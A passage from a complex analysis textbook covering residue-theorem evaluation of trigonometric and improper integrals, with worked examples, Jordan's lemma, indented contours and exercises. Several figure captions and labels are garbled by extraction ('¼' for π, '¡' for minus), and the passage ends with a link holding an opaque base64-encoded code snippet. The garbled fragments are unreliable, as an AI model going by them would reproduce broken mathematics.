once one notices what eiθ is doing.

28.1 The substitution
Theorem 28.1 (Trigonometric integrals by residues). Let F (x, y) be a rational function of two
variables, with complex coefficients, whose denominator does not vanish on the unit circle x2+y2 =
1. Then∫ 2π

0
F (cos θ, sin θ) dθ =

∮
|z|=1

F
(z + z−1

2 ,
z − z−1

2i
) dz
iz

= 2πi
∑

|zk|<1
Res

(
G, zk

)
, (28.1)

where
G(z) := 1

iz
F
(z + z−1

2 ,
z − z−1

2i
)

(28.2)

is a rational function of z, and the sum runs over its poles inside the unit circle.

Proof. Parametrise the unit circle by z = eiθ, θ ∈ [0, 2π], as in (19.8). Then dz = ieiθ dθ = iz dθ,
so

dθ = dz
iz
, (28.3)

and by (17.1) together with z−1 = e−iθ (valid since |z| = 1, using (3.8)),

cos θ = eiθ + e−iθ

2 = z + z−1

2 , sin θ = eiθ − e−iθ

2i = z − z−1

2i . (28.4)

Substituting (28.3) and (28.4) into the left side of (28.1) converts it into
∮

|z|=1G(z) dz by Defini-
tion 19.7. The integrand G is rational in z: F is a quotient of polynomials in cos θ, sin θ, and both
are Laurent polynomials in z. Its poles are the zeros of the denominator; by hypothesis none lies
on |z| = 1, and the residue theorem 27.5 gives the last equality.

197



CHAPTER 28. EVALUATION OF REAL TRIGONOMETRIC INTEGRALS 198

Remark 28.2 (Why a full period). The substitution requires θ to traverse [0, 2π] so that z goes
once around the circle. Integrals over [0, π] or [0, π/2] must first be extended to a full period using
symmetry — see Example 28.6.

θ

0 2π

z = eiθ

Re

Im

inside

outside

Figure 28.1. The substitution z = eiθ of Theorem 28.1. As θ runs once over [0, 2π] the point z runs
once counterclockwise around the unit circle, so a real integral over a period is a contour integral.
The rational integrand acquires poles; only those inside the circle contribute, which is what makes
the method finite.

28.2 Worked examples

Example 28.3 (The basic integral). Evaluate I =
∫ 2π

0

dθ
a+ cos θ for real a > 1.

By (28.1),
I =

∮
|z|=1

1
a+ z+z−1

2
· dz
iz

=
∮

|z|=1

2 dz
i
(
z2 + 2az + 1

) .
The denominator vanishes at

z± = −a±
√
a2 − 1,

both real and negative, with z+z− = 1 (product of the roots). Since a > 1, |z−| = a+
√
a2 − 1 > 1,

so |z+| < 1: exactly one pole is inside. It is simple, and by (27.4) with p = 2
i , q = z2 + 2az + 1,

q′ = 2z + 2a:
Res(G, z+) = 2/i

2z+ + 2a = 2/i
2
√
a2 − 1

= 1
i
√
a2 − 1

.

Hence ∫ 2π

0

dθ
a+ cos θ = 2πi · 1

i
√
a2 − 1

= 2π√
a2 − 1

, a > 1. (28.5)

Sanity checks: the answer is positive, as it must be since the integrand is; it blows up as a ↓ 1,
when the integrand develops a non-integrable singularity at θ = π; and it behaves like 2π/a for
large a, matching the crude approximation 1

a+cos θ ≈ 1
a .

Example 28.4 (A higher-order pole). Evaluate I =
∫ 2π

0

dθ
(2 + cos θ)2 .

By the same substitution,

I =
∮

|z|=1

1(
2 + z+z−1

2
)2 dz
iz

=
∮

|z|=1

4z dz
i (z2 + 4z + 1)2 .

The roots of z2 + 4z + 1 are z± = −2 ±
√

3, with |z+| = 2 −
√

3 ≈ 0.268 < 1 inside and
|z−| = 2 +

√
3 > 1 outside. Inside, z+ is a pole of order 2. Write z2 + 4z+ 1 = (z− z+)(z− z−), so

G(z) = 4z
i(z − z+)2(z − z−)2 , (z − z+)2G(z) = 4z

i(z − z−)2 .
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By (27.3) with m = 2,
Res(G, z+) = 4

i

d

dz

[ z

(z − z−)2

]
z=z+

,

and the derivative is
d

dz

z

(z − z−)2 = (z − z−)2 − z · 2(z − z−)
(z − z−)4 = (z − z−) − 2z

(z − z−)3 = −z − z−
(z − z−)3 .

At z = z+: numerator −(z+ + z−) = 4 (sum of roots is −4), and z+ − z− = 2
√

3, so the derivative
equals 4

(2
√

3)3 = 4
24

√
3 = 1

6
√

3 . Therefore Res(G, z+) = 4
i · 1

6
√

3 = 2
3i

√
3 , and

I = 2πi · 2
3i

√
3

= 4π
3
√

3
= 4π

√
3

9 ≈ 2.4184. (28.6)

Example 28.5 (Sine in the numerator). Evaluate I =
∫ 2π

0

sin2 θ

5 + 4 cos θ dθ.

Here sin2 θ =
(
z−z−1

2i
)2 = − (z2−1)2

4z2 and 5 + 4 cos θ = 5 + 2(z + z−1) = 2z2+5z+2
z , so

G(z) = 1
iz

·
− (z2−1)2

4z2

2z2+5z+2
z

= −(z2 − 1)2

4i z2 (2z2 + 5z + 2) .

Now 2z2 + 5z+ 2 = (2z+ 1)(z+ 2), so the poles are z = 0 (order 2), z = −1
2 (simple, inside), and

z = −2 (outside).
At z = −1

2 , by (27.2), writing 2z2 + 5z + 2 = 2(z + 1
2)(z + 2):

Res(G,−1
2) =

−
(1

4 − 1
)2

4i · 1
4 · 2 ·

(
−1

2 + 2
) =

− 9
16

3i = −3
16i .

At z = 0, order 2: with H(z) := z2G(z) = −(z2−1)2

4i(2z2+5z+2) ,

H ′(z) = −1
4i · 4z(z2 − 1)(2z2 + 5z + 2) − (z2 − 1)2(4z + 5)

(2z2 + 5z + 2)2 ,

and at z = 0 the first term of the numerator vanishes, leaving −1
4i · −(1)(5)

4 = 5
16i .

Summing, I = 2πi
(−3

16i + 5
16i
)

= 2πi · 2
16i = π

4 .
Check. Since sin2 θ ≤ 1 and 5 + 4 cos θ ≥ 1, we have 0 ≤ I ≤ 2π; and π/4 ≈ 0.785 is plausible.

A second check: expanding 1
5+4 cos θ in a Fourier series and using

∫ 2π
0 sin2 θ dθ = π gives the same

value.

Example 28.6 (Half a period, by symmetry). Evaluate J =
∫ π

0

dθ
3 + 2 cos θ . The integrand is

invariant under θ 7→ 2π − θ (since cos is), so∫ 2π

0

dθ
3 + 2 cos θ = 2J.

Applying (28.5) with a+ cos θ replaced by 3 + 2 cos θ = 2
(3

2 + cos θ
)
,

2J = 1
2

∫ 2π

0

dθ
3
2 + cos θ

= 1
2 · 2π√

9
4 − 1

= π√
5/2

= 2π√
5
,

so J = π√
5

.
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28.3 A general formula
Proposition 28.7. For real a > |b| > 0 and n ≥ 0 an integer,

∫ 2π

0

cosnθ
a+ b cos θ dθ = 2π√

a2 − b2

(√
a2 − b2 − a

b

)n
. (28.7)

Proof. Write cosnθ = Re(zn) on |z| = 1 and apply (28.1):∫ 2π

0

einθ

a+ b cos θ dθ =
∮

|z|=1

zn

a+ b
2(z + z−1)

dz
iz

= 2
ib

∮
|z|=1

zn dz
z2 + 2a

b z + 1
.

The roots are z± = −a±
√
a2−b2

b with z+z− = 1, and |z+| < 1 < |z−| because a > |b|. Only z+
contributes, and by (27.4)

Res =
(2/ib)zn+

2z+ + 2a/b =
zn+

i
√
a2 − b2

.

Multiplying by 2πi gives the right side of (28.7), which is real; taking real parts recovers the
cosnθ integral (the sinnθ integral vanishes by oddness).

28.4 Exercises
Exercise 28.1. Evaluate:∫ 2π

0

dθ
5 − 3 sin θ ,

∫ 2π

0

dθ
1 + 1

2 cos θ
,

∫ 2π

0

cos θ
3 + cos θ dθ.

Exercise 28.2. Evaluate
∫ 2π

0

dθ
(5 − 4 cos θ)2 .

Exercise 28.3. Evaluate
∫ π

0

cos 2θ
5 − 4 cos θ dθ using (28.7) and a symmetry argument.

Exercise 28.4. (⋆) Prove that for |r| < 1,∫ 2π

0

1 − r2

1 − 2r cos θ + r2 dθ = 2π.

(This integrand is the Poisson kernel; the identity says it has total mass 2π, which is why it solves
the Dirichlet problem for the disc.)

Exercise 28.5. Show that
∫ 2π

0

dθ
a+ b cos θ + c sin θ = 2π√

a2 − b2 − c2
when a >

√
b2 + c2 > 0.

(Write b cos θ + c sin θ = Re
(
(b− ic)eiθ

)
and rotate.)

Exercise 28.6. Explain what goes wrong in Theorem 28.1 if the denominator of F vanishes at
some point of the unit circle, and illustrate with

∫ 2π
0

dθ
1+cos θ .

Exercise 28.7. Evaluate
∫ 2π

0

sin2 θ

2 − cos θ dθ and
∫ 2π

0

dθ
3 + 2 sin θ .
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Exercise 28.8. Show that
∫ 2π

0
cos2n θ dθ = 2π

4n

(
2n
n

)
by writing cos θ = z+z−1

2 and picking out

the coefficient of z−1. Check the cases n = 1, 2 against elementary calculus.

Exercise 28.9. (⋆) Prove that for 0 < a < 1,∫ 2π

0
ln
(
a2 − 2a cos θ + 1

)
dθ = 0.

(Recognise the integrand as 2 ln
∣∣∣1 − aeiθ

∣∣∣ and use the mean value property of the harmonic func-
tion ln |1 − az| on the disc |z| < 1/a, Exercise 15.8.) What is the value when a > 1?



Chapter 29

Evaluation of Real Improper
Integrals

29.1 Principal values and the semicircular contour
Definition 29.1 (Cauchy principal value). Let g : R → R (or C) be integrable on every bounded
interval. The Cauchy principal value of

∫∞
−∞ g is

p.v.
∫ ∞

−∞
g(x) dx := lim

R→∞

∫ R

−R
g(x) dx, (29.1)

when the limit exists. If the improper integral converges in the ordinary sense — that is, if
limR1→∞

∫ 0
−R1

and limR2→∞
∫ R2

0 both exist separately — then the principal value exists and
equals it. The converse is false: p.v.

∫∞
−∞ x dx = 0, while the ordinary integral diverges.

More generally, let x1 < · · · < xk be finitely many real points and let g be integrable on every
bounded interval that stays a positive distance away from all of them. Then

p.v.
∫ ∞

−∞
g(x) dx := lim

R→∞
ε↓0

∫
[−R,R]\

⋃k

j=1(xj−ε, xj+ε)
g(x) dx,

when the limit exists: the singular points are excised symmetrically. For instance p.v.
∫ 1

−1
dx
x = 0

in this sense, although
∫ 1

0
dx
x diverges.

Convention 29.2. In the theorems below the ordinary convergence is guaranteed by decay hy-
potheses, so the principal value is the honest value; we still write p.v. where the distinction
matters, as in Section 29.4.

Definition 29.3 (The standard contours). For R > 0 let

• [−R,R] denote the segment of the real axis, left to right;

• ΓR denote the upper semicircle ΓR(t) = Reit, t ∈ [0, π].

Their concatenation CR := [−R,R] + ΓR is a simple closed contour, counterclockwise, enclosing
the part of the upper half-plane inside |z| < R.
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Re

Im

[−R,R]

ΓR

z1
z2

−R R

29.2 Rational integrands
Lemma 29.4 (Vanishing of the large semicircle). Let f be continuous on {|z| ≥ R0, Im z ≥ 0}
and suppose there are constants A > 0 and p > 1 with

|f(z)| ≤ A

|z|p
for |z| large, Im z ≥ 0. (29.2)

Then lim
R→∞

∫
ΓR

f(z) dz = 0.

Proof. length(ΓR) = πR and |f | ≤ AR−p on ΓR, so the ML-inequality (19.15) gives∣∣∣∫
ΓR

f
∣∣∣ ≤ A

Rp
· πR = πA

R p−1 −→ 0

because p− 1 > 0.

Theorem 29.5 (Rational improper integrals). Let p, q be polynomials with real coefficients such
that

(a) q has no real zeros, and

(b) deg q ≥ deg p+ 2.

Then
∫∞

−∞
p(x)
q(x) dx converges and∫ ∞

−∞

p(x)
q(x) dx = 2πi

∑
Im zk>0

Res
(p
q
, zk
)
, (29.3)

the sum being over the poles of p/q in the open upper half-plane.

Proof. Convergence: by (b) there are A,R0 with |p(x)/q(x)| ≤ A |x|−2 for |x| ≥ R0 (Proposi-
tion 2.7), and

∫∞ x−2 dx converges; (a) makes the integrand continuous on R.
Let R be large enough that all poles of p/q in the upper half-plane lie inside |z| < R; there

are finitely many, being zeros of a polynomial. Apply the residue theorem 27.5 to CR:∫ R

−R

p(x)
q(x) dx+

∫
ΓR

p(z)
q(z) dz = 2πi

∑
Im zk>0

Res
(p
q
, zk
)
.

(The first term is the contour integral over the real segment, which by (19.10) with γ(t) = t,
γ′ = 1, is the ordinary real integral.) By (b) and Lemma 29.4 (with exponent 2 in (29.2)) the
second term tends to 0 as R → ∞, and the right side does not depend on R. Letting R → ∞
gives (29.3).
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Example 29.6. Evaluate
∫ ∞

−∞

dx
x4 + 1.

Here deg q − deg p = 4 ≥ 2 and q has no real zeros. The poles are the fourth roots of −1,
namely eiπ/4, e3iπ/4, e5iπ/4, e7iπ/4 by Theorem 4.5; the first two lie in the upper half-plane. Each
is a simple zero of q(z) = z4 + 1, so by (27.4) with q′ = 4z3,

Res = 1
4z3
k

= zk
4z4
k

= zk
4(−1) = −zk

4 ,

using z4
k = −1. Hence

∫ ∞

−∞

dx
x4 + 1 = 2πi

(
−eiπ/4 + e3iπ/4

4
)

= −πi

2
(√

2
2 + i

√
2

2 −
√

2
2 + i

√
2

2
)

= −πi

2 · i
√

2 = π√
2
.

The answer is a positive real number, as it must be.

Example 29.7. Evaluate
∫ ∞

0

x2

(x2 + 1)(x2 + 4) dx. The integrand is even, so the integral equals

half of the integral over R. In the upper half-plane the poles are i and 2i, both simple. By (27.2),

Res(f, i) = i2

(i+ i)(i2 + 4) = −1
2i · 3 = −1

6i , Res(f, 2i) = (2i)2

((2i)2 + 1)(2i+ 2i) = −4
(−3)(4i) = 1

3i .

So
∫∞

−∞ f = 2πi
(
− 1

6i + 1
3i
)

= 2πi · 1
6i = π

3 , and the required integral is π/6.
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¡R, lifted off

e i¼=4e 3i¼=4

¡R R

R= 3:69

2 3 5 10
R
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3.5
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2

I
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f dz

segment 
Z R
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f(x) dx

j
Z
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f(z) dzj

ML bound ¼Rmax
¡R
jfj

10−3

10−2

10−1

100

101

lo
g 

sc
al

e

R!1: j
Z
¡R

f dzj∙ ¼Rmax
¡R
jfj= ¼R

R 4 ¡ 1! 0 (Lemma 29.4)

so the segment integral 
Z R

¡R
f(x) dx= ¼p

2
¡
Z
¡R

f dz tends to ¼p
2

I
CR

f dz = 2.2214

2¼i
X
inside

Res = 2.2214

segment 
Z R

¡R
f(x) dx = 2.2083

arc j
Z
¡R

f(z) dzj = 0.0132

ML bound ¼Rmax
¡R
jfj = 0.0626

Figure 29.1 (animated). The proof of Theorem 29.5, in two parts. First, for 1
z4+1 (Example 29.6),

z2

(z2+1)(z2+4) (Example 29.7) and 1
(z2+1)2 , the semicircular contour CR grows past the poles in the

upper half-plane. The closed integral
∮

CR
f dz (below, against R) jumps by 2πiRes each time a pole

enters and, once all of them are inside, stays constant however large R becomes. Then, for 1
z4+1 , the

arc ΓR is lifted off:
∣∣∫

ΓR
f dz

∣∣ and its ML bound πRmaxΓR |f | (Lemma 29.4; logarithmic scale on

the right) fall to 0, so the segment integral
∫ R

−R
f dx rises to the constant: in the limit only the real

line is left,
∫∞

−∞
dx

x4+1 = π√
2 .
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Grow CR = [¡R; R] + ¡R: 
I
CR

f dz changes only when CR passes a pole
f(z) = z 2

(z 2 + 1)(z 2 + 4)
 (Example 29.7): 

I
CR

f dz= 2¼i
X
inside

Res (Theorem 27.5)

I
CR

f dz = -1.0472

2¼i
X
inside

Res = -1.0472

segment 
Z R

¡R
f(x) dx

arc j
Z
¡R

f(z) dzj

ML bound ¼Rmax
¡R
jfj

Figure 29.2 (animated). The same story with the running integral drawn as a path in its own plane,
as z runs along [−R,R] (teal) and back along ΓR (orange). Once all poles are inside CR, the path
changes shape as R grows but always ends at the same point 2πi

∑
Res (the star). When the arc is

lifted off, its own running integral (inset, on a fixed scale) shrinks to a point, and the teal segment
alone reaches the star.
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f dz changes only when CR passes a pole
f(z) = z 2

(z 2 + 1)(z 2 + 4)
 (Example 29.7): 

I
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f dz= 2¼i
X
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Res (Theorem 27.5)

I
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Res = -1.0472

segment 
Z R

¡R
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arc j
Z
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¡R
jfj

Figure 29.3 (animated). The same story with the residues as arrows: each pole that enters CR adds
its arrow 2πiRes(f, zk), tip to tail, and the computed

∮
CR

f dz sits at the tip. After the arc is lifted
off it is drawn thick where |f | is large, and below it the graph of R

∣∣f(Reit)
∣∣ over [0, π]: the area

under the graph bounds
∣∣∫

ΓR
f dz

∣∣, the dashed rectangle is the ML bound, and both shrink to 0 as
R → ∞.

29.3 Fourier-type integrands and Jordan’s lemma
For integrands like cosx

x2+1 the decay (29.2) fails on the semicircle: |cos z| grows like e|Im z| (Corol-
lary 17.7). The fix is to work with eiaz, whose modulus decays in the upper half-plane, and take
real or imaginary parts at the end.

Lemma 29.8 (Jordan). Let a > 0 and let f be continuous on {|z| ≥ R0, Im z ≥ 0} with

M(R) := max
z∈ΓR

|f(z)| −→ 0 as R → ∞. (29.4)

Then
lim
R→∞

∫
ΓR

f(z)eiaz dz = 0. (29.5)

Proof. On ΓR write z = Reiθ, θ ∈ [0, π], so dz = iReiθ dθ and, by (16.2),∣∣eiaz∣∣ = e−a Im z = e−aR sin θ.
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Hence by Lemma 19.3,∣∣∣∫
ΓR

f(z)eiaz dz
∣∣∣ ≤ M(R)R

∫ π

0
e−aR sin θ dθ = 2M(R)R

∫ π/2

0
e−aR sin θ dθ,

by symmetry of sin about π/2. Now use Jordan’s inequality: sin θ ≥ 2θ
π for θ ∈ [0, π/2], which

holds because sin is concave there and the two sides agree at the endpoints. Therefore∫ π/2

0
e−aR sin θ dθ ≤

∫ π/2

0
e−2aRθ/π dθ = π

2aR
(
1 − e−aR

)
≤ π

2aR.

Combining, ∣∣∣∫
ΓR

f(z)eiaz dz
∣∣∣ ≤ 2M(R)R · π

2aR = πM(R)
a

−→ 0.

Note how weak the hypothesis (29.4) is: f need only tend to 0, with no rate. The factor eiaz
supplies the rest.

Theorem 29.9 (Fourier-type integrals). Let a > 0 and let f be analytic on C except for finitely
many poles, none on the real axis, with |f(z)| → 0 as |z| → ∞ in the closed upper half-plane, i.e.

M∗(R) := sup
{
|f(z)| : |z| ≥ R, Im z ≥ 0

}
−→ 0 (R → ∞).

Then the improper integral
∫∞

−∞ f(x)eiax dx converges (in the ordinary sense) and∫ ∞

−∞
f(x)eiax dx = 2πi

∑
Im zk>0

Res
(
f(z)eiaz, zk

)
. (29.6)

If moreover f is real-valued on R, then∫ ∞

−∞
f(x) cos axdx = Re(RHS),

∫ ∞

−∞
f(x) sin axdx = Im(RHS). (29.7)

Proof. Convergence. Let R1 exceed the modulus of every pole of f . For R1 ≤ R < R′ and Y > 0
integrate f(z)eiaz around the boundary of the rectangle with vertices R,R′, R′ + iY,R + iY ,
counterclockwise. The rectangle lies in the half-plane {Re z > R1} where there are no poles; this
half-plane is convex, hence star-shaped, so the integral is 0 by Theorem 20.8. On the two vertical
sides z = R+ iy and z = R′ + iy (0 ≤ y ≤ Y ) we have

∣∣f(z)eiaz
∣∣ ≤ M∗(R)e−ay, so by Lemma 19.3

each contributes at most M∗(R)
∫ Y

0 e−ay dy ≤ M∗(R)/a; on the top side
∣∣f(z)eiaz

∣∣ ≤ M∗(R)e−aY ,
so it contributes at most (R′ −R)M∗(R)e−aY . Hence∣∣∣∫ R′

R
f(x)eiax dx

∣∣∣ ≤ 2M∗(R)
a

+ (R′ −R)M∗(R)e−aY Y→∞−−−−→ 2M∗(R)
a

,

which tends to 0 asR → ∞, uniformly inR′ > R. By the Cauchy criterion, limR2→∞
∫ R2

0 f(x)eiax dx
exists. The rectangle with vertices −R′,−R,−R+ iY,−R′ + iY (in the convex half-plane {Re z <
−R1}) gives the same bound for

∫−R
−R′ , so

∫ 0
−∞ converges too. (Note that f is continuous on R,

having no poles there.)
Value. Since the integral converges, it equals the limit of

∫ R
−R. Apply the residue theorem

to f(z)eiaz on CR and let R → ∞, using Lemma 29.8 to kill the arc (its hypothesis holds since
maxΓR

|f | ≤ M∗(R)).
Real and imaginary parts. If f is real on R, then f(x) cos ax and f(x) sin ax are the real and

imaginary parts of f(x)eiax = f(x) cos ax + if(x) sin ax, and (29.7) follows by taking real and
imaginary parts of (29.6). Without that hypothesis (29.7) can fail: for f(z) = 1

z+i , which has no
poles in the upper half-plane, the right side of (29.6) is 0, yet

∫∞
−∞

cosx
x+i dx = − iπ

e ̸= 0.
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Example 29.10. Evaluate
∫ ∞

−∞

cosx
x2 + 1 dx.

Take f(z) = 1
z2+1 , a = 1. In the upper half-plane the only pole is z = i, simple, and by (27.4)

Res
( eiz

z2 + 1 , i
)

= ei·i

2i = e−1

2i .

By (29.6),
∫∞

−∞
eix

x2+1 dx = 2πi · e−1

2i = π
e , which is real; taking real and imaginary parts,∫ ∞

−∞

cosx
x2 + 1 dx = π

e
,

∫ ∞

−∞

sin x
x2 + 1 dx = 0,

the second also being evident from oddness.

29.4 Indented contours and simple poles on the real axis

0

σε

ΓR

−R R

Figure 29.4. The indented contour of Example 29.12. The pole sitting on the path of integration is
stepped over by a small semicircle σε, traversed clockwise; by Lemma 29.11 it contributes −πi times
the residue — exactly half of a full circuit, with the sign of the direction taken. The large arc dies by
Jordan’s Lemma 29.8, and what remains is the real integral.

Lemma 29.11 (Small arc at a simple pole). Let f have a simple pole at x0 ∈ R with residue
Res(f, x0), and for ε > 0 let σε be the semicircular arc x0 + εeit, t from π to 0 (i.e. traversed
clockwise, indenting above the pole). Then

lim
ε↓0

∫
σε

f(z) dz = −πi Res(f, x0). (29.8)

More generally, over an arc of opening angle α traversed counterclockwise the limit is iαRes(f, x0).

Proof. Write f(z) = c
z−x0

+ h(z) with c = Res(f, x0) and h analytic near x0 (Theorem 26.5).
For the second piece, h is bounded near x0, say |h| ≤ M , and length(σε) = πε, so by (19.15) its
contribution is at most πMε → 0. For the first piece, parametrise z = x0 + εeit with t running
from π to 0; then dz = iεeit dt and∫

σε

cdz
z − x0

=
∫ 0

π

c iεeit

εeit
dt = ci

∫ 0

π
dt = −πic,

independently of ε. The general-angle statement is the same computation with limits 0 to α.

Example 29.12 (The Dirichlet integral). Prove∫ ∞

0

sin x
x

dx = π

2 . (29.9)
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The function sin z
z has a removable singularity at 0, so we cannot see a residue; the trick is to

work with eiz

z , which has a simple pole at 0 with residue 1, and to indent.
Let 0 < ε < R and let C be the closed contour consisting of

[−R,−ε], σε (clockwise upper semicircle of radius ε about 0), [ε,R], ΓR.

The integrand eiz

z is analytic inside and on C — the pole at 0 has been excluded by the indentation.
More precisely, it is analytic on D := C\{iy : y ≤ 0}, which contains C and is star-shaped about
i (the segment from i to any z ∈ D meets the imaginary axis only at i, or runs along the positive
imaginary axis), so Theorem 20.8 gives∫ −ε

−R

eix

x
dx+

∫
σε

eiz

z
dz +

∫ R

ε

eix

x
dx+

∫
ΓR

eiz

z
dz = 0. (29.10)

As R → ∞ the last term vanishes by Jordan’s Lemma 29.8, since |1/z| = 1/R → 0. As ε ↓ 0 the
second term tends to −πi · 1 by (29.8). Combining the two real integrals by substituting x 7→ −x
in the first, ∫ −ε

−R

eix

x
dx+

∫ R

ε

eix

x
dx =

∫ R

ε

eix − e−ix

x
dx = 2i

∫ R

ε

sin x
x

dx,

using (17.2). Therefore (29.10) becomes, in the limit,

2i
∫ ∞

0

sin x
x

dx− πi = 0,

which is (29.9). The symmetric excision [−R,−ε] ∪ [ε,R] was essential: each of
∫ R
ε

eix

x dx and∫−ε
−R

eix

x dx diverges as ε ↓ 0 (their real parts involve cosx
x , which is not integrable at 0), and only

the sum of the two halves produces the integrable function sinx
x . (Separately, the integral in (29.9)

converges only conditionally at ∞:
∫∞

0
|sinx|
x dx = ∞.)
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" (shrinking ! )
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0.0
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Im 
Z
¾"

e iz

z dz

Re 
Z
¾"

e iz

z dz

Re 
Z R

"

e ix

x dx Re 
Z ¡"

¡R
e ix

x dx sum=i= 2
Z R

"

sinx
x dx

Each half-line integral diverges as " # 0, their sum does not

Re parts =§
Z R

"

cosx
x dx¼ ¨ ln ": the symmetric excision is essential

Z
¾"

e iz

z dz;   ¡¼iZ R

"

e ix

x dx;  
Z ¡"

¡R
e ix

x dx

their sum = 2i
Z R

"

sinx
x dx

all four pieces

= 0.0000−3.1312i;   0.0000−3.1416i

= 4.6145+1.4195i;   −4.6145+1.4195i

= 0.0000+2.8390i

= 0.0000+0.0000i

Figure 29.5 (animated). The indented contour of Example 29.12 for eiz/z. First, with ε = 0.8 and
R = 6, the running integral round the contour traces a path that closes up at 0 (Cauchy’s theorem).
As ε ↓ 0, the small arc gives −πi, half a clockwise turn (Lemma 29.11); each half-line integral diverges
like ∓ ln ε, but their sum 2i

∫ R

ε
sin x

x
dx stays bounded. Then R grows to 100: the big arc dies under

Jordan’s bound π/R (Lemma 29.8) and
∫ R

0
sin x

x
dx oscillates into π

2 .

Example 29.13 (A principal value). Evaluate p.v.
∫ ∞

−∞

dx
x2 − 1. The integrand has simple poles

at ±1 on the contour, with Res(f, 1) = 1
2 and Res(f,−1) = −1

2 by (27.4). Indenting above both
and closing with ΓR (which contributes 0 by Lemma 29.4), and noting there are no poles in the
open upper half-plane,

p.v.
∫ ∞

−∞

dx
x2 − 1 − πi

(
1
2

)
− πi

(
−1

2

)
= 0,

so the principal value (in the sense of Definition 29.1, excising (±1 − ε,±1 + ε)) is 0: the two
half-residue contributions cancel because the residues at ±1 are opposite. A direct check: F (x) =

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=g07_dirichlet&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqlWltzGkmyfu9fUdvGsdVjaAMSso3MRKw9Wo825LMK7PGcGMQoWlBAW31zd4NAst73%2BfzE80vOl1l9RQhr9yhC0FRnZVbl5ausrDKmaiYiz9nImTtvilns%2BCr7SprCDVIVrxyvKa6uwvXgv8JAWX1D4M%2F1ozBOhRvilZOoo8Om8J008sLUc6%2FsaENPwknAOmX6WRz64vR8ky7CwJ66CYnMmfz6%2BeNZU2SNTI1e9sQLE0Wjsrgpey2JWJqm%2Bdb158KdDsxodolHUyTpxlMDc7KMkzDuRyGP3RSpm3Kz506uRRqKyFkmyvzZeJtMYjdKfzZWTiyimRiIGzeYhjc2P9%2FN%2BmI0borrvmg3RbwM%2BiKNl%2BoeKoHYgZiGk6WvgtSeq%2FTEU%2FT4bnM6lflorGMDX3YYaLkDMVsGk9QNAyEtcQd5Nnii%2BS%2F66VjcHxuJSk8zfcsaOebvzoTMaMX379T%2FWvw8oO%2BZ7algni4sEat0GQfHRA3RSTwRmmBE1ONj3WkgJH%2B%2FEB1LPH8unk%2BPDczq%2BRQjfvsy0wnUK54Lue0FlqVNMVNqSjqoW8QqTHgJs3yGtjLqMBbX4CFiJ5irjGnmRdoz0CCvraLhakkWcEP73SZVyek%2FZfkK3mAnzkrhW4KsSczhdnCCYG5qJ710g8lCJQN6LjviPXhqT7Wvjg5VMAmniniQBTG3pZKWZU8VN1cEYqr2Mpo6qdLz%2FGvuN6z6aJkspIm3Tt%2F1nbl6CTnHWTw8T0yr0OhfoU%2B8gwKfiRb%2BhAqmIpyJfywjTDI%2Bc1PFUahifm3AAqfBFF7lsBc4oE4XSvzixu5k4amUbTKPHU%2FI9wsnAgvRfdMXZ8r3HTzZnU5TnKwdP%2FIU%2F%2Bw2y3evLduQsL6KkkHbft0Uw8FRn9nDuwIXmiqYY4Tqzzv39v7lrYjDZTYKl0cGH5iEQRouY8GhmohlJJxUtMG9y9xFsojd4DrRzBPf8TzhwC0L9im0kFBQtiJXuEIuHG9GMh3iOLm%2BcRMlyKctW8gDi7mkN6EgspbnBsrIOSVwvZWK50p47rUSrRdeIDEAuCT6uLFIlr7ouiRYJPDE9cs14MLZJOKKJgUTC3loiaGYx%2BFNIiRYRgtLD%2FvKndOgjamLGcp%2FhPHUCZq6n4jcl0OLjQPOl%2B0%2FhwX36bqcHKi6tnG%2B%2BTs4QWMr6A42zZTC7iEAwphOQv7N7PKY4PEHYgLNJRqlbduG%2BeAeRgaewdKPNoS0QZQ3lUBsVDAZsCfNv82BTQ%2FptgDbIPyNJ%2BcOhpHk7n9ngn6RqnVqz2B3oJXZF%2BbER9yZ1GDPHN%2F1NtSYqNidFe2Je6vQ2uneW8b7901xjv937xGO5rPO7Gj26jVRPpu8OXLabXpMnat%2BtIzhuqahEEug9Bz%2FauqIFdDY7okWf%2F6EGduTMJH4gvv8JHw3kL6zlqsm3rehuw4%2BLcODZ4DFaGzM%2FJLVui%2Bk%2Bdw%2BnDHSsW%2FLdVPAC15wb8uOFRQ%2Bgc5aNKj%2F%2Fdf%2FQHGzScnhti9mvrwFHZARvaT5wsQXtxEYVFm8oO45FxCZrmkYBi29E085sczg8GbheuTCK1XCI%2F2yozCSxM4PV4ROhpHG5UA2TZoNtBBfjrBYkVaWPjxeys2o0x9D3GbUb3XGlngpulptU3c2k2vLGgOOyHURK3BeCvX1vfbeAQcLteBjeS%2BmSwHZsRh5AYV2U%2BB7OO4LZAQC4pYegAp6hu08ZfyG7pCCEE0imj89h3PZUa1XFg%2BQf7XJRgftdrtjHYu%2FU580JlK1jmTnqx4oPf9mge43yzgtp4wUZchT5qUpygUMibAJXplRWg9J1BYJ1kESJVnfexiyRfcz1EY30q3Ja5NELpyLpmp8Ov1QmUhftDDr6nT5WW39Tkf9fqc9Jk3kjyOYVLvIM8DO3HfIikAVnWohIgA9bePD3z6W0oaUxTwUNtwWxmJYAEZb637KRoT2LZ4uqQ%2B%2Fxb%2F192wHWhqUJdDKIiQvSQjBHn%2B2e1lsOAlQBQh1lchTCfsfZdYAon7NW8icUC9sggfMXFLTWxri4a5hEADPaP2KXDUB%2BjrTqVZaRdanU3ZUyOrYvaNut9s7zFj2GKk1zQdSC2NHDkadrxnZgYEYw2KDtanzyCrreCF%2Bbo9GVtdnyziBHw3xT%2Bbk1iMbvzq9dttYb3lci%2Bha1OEjIuu2i9cn7S0bb4UnuSfTU4dDdBju61C6NDoY538QvK4JOL82IQ6y1%2FBRcs%2Bs6RDZ5%2FknBuFjQRDaZnvfkr3P%2F9D2Pf9kO1GENVNO0G0LCW4Ju27BicZHDM4%2FkXeyh1aMNclNY%2FyuVZIBIcFih9zpiL879hGD4aHdNYyT89r6woqS7HigOIHlf0I0YhWSK4Tu%2B19PfqEUeiRNWC8OTdaaNo01JrN3MXi8hY3xjvu54NN7YxVknBC7ZUJ8RD250zxMTR5gleFRsRJoIuQiIGKm2HOdnGv%2Bh9ZO3r1ezhvdCvY8u8clUHr1n4igfk%2BVMXPiioiCmHSPcEPzsKL5TPwe0WC3LRlsbC2820b0fNEO4cQxkqgR5rTS7FbEbsu3wYRYw9WGX%2FJQqA%2Br5J